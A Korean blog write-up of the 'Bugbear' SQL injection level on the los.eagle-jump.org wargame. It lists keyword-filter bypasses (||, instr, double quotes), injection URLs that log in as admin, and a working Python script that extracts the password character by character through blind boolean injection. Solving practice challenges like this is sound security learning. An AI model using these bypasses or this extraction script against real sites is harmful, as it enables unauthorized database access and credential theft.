Notice
Recent Posts
Recent Comments
Link
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Archives
Today
Total
관리 메뉴

White Security

Bugbear 문제풀이 본문

Wargame Writeups/los.eagle-jump.org

Bugbear 문제풀이

POSIX 2019. 1. 30. 21:37


los.eagle-jump.org 의 13번 문제입니다.


이전 문제와 비슷하지만

no 인자에 필터링되는 단어들이 늘어났습니다.


' : "

substr : mid

ascii : ord

= : instr

or : ||

and : &&

like : instr

0x : "


등으로 각각 대체 가능합니다.


https://los.eagle-jump.org/bugbear.php?no=-1||1

no 에 ||1 을 집어넣으면 guest 로 로그인 가능합니다.


https://los.eagle-jump.org/bugbear.php?no=-1||instr(id,"admin")


instr 을 통해 id를 admin 단어가 들어가는 것으로 한정하자

admin으로 로그인이 가능했습니다.


https://los.eagle-jump.org/bugbear.php?no=-1||instr(id,"admin")&&instr(instr(pw,"<password here>"),1)


instr(pw,"<password>") 는 password가 pw에

포함되지 않으면 0

포함되면 그 위치를 반환해 줍니다.


따라서 pw의 ascii 문자들을 모두 넣어보다가

1이 나오는 순간이 있으면

그때 사용한 문자가 바로 pw의 첫번째 문자입니다.


그리고 찾아낸 문자에 또 다른 문자를 붙여가면서

instr을 하다보면 결국 pw를 모두 알아낼 수 있습니다.


우리는 instr(pw, "<password>") 이

1을 반환하는 순간을 알고자 하므로

instr(instr(pw, "<password>"), 1) 을 통해

내부의 instr 반환값이 1인 경우를 찾아낼 수 있습니다.


from urllib import request, parse
import sys

char_list = 'abcdefghijklmnopqrstuvxyz0123456789'
def check_true(response): return (response.find(b'Hello admin') != -1);

def instr_query(string):
	url = 'https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?no='
	url += parse.quote('-1||instr(id,"admin")&&instr(instr(pw,"%s"),1)' % string)
	
	req = request.Request(url)
	req.add_header('Cookie', 'PHPSESSID=qus0d9r31j3mjc9aao7p1o0k30;')
	req.add_header('user-agent','Mozilla/5.0')
	
	response = None
		
	while response is None:		
		try:
			response = request.urlopen(req)
		except:
			pass

	output = response.read()
	return check_true(output)

pw = ''

while True:
	found = False
	for c in char_list:
		if instr_query(pw + c):
			pw += c
			found = True
			sys.stdout.write('\r' + pw)
			break
	if not found: break

sys.stdout.write('\n')


취약점을 기반으로 작성한 파이썬3 스크립트 입니다.

모든 ascii 문자열을 넣어도 1을 반환하는 경우가 없을 경우

( pw 값을 모두 찾았을 때 )

종료하도록 했습니다.


'Wargame Writeups > los.eagle-jump.org' 카테고리의 다른 글

Assassin 문제풀이  (0) 2019.01.31
Giant 문제풀이  (0) 2019.01.31
Darkknight 문제풀이  (0) 2019.01.30
Golem 문제풀이  (0) 2019.01.30
Skeleton 문제풀이  (0) 2019.01.30
Comments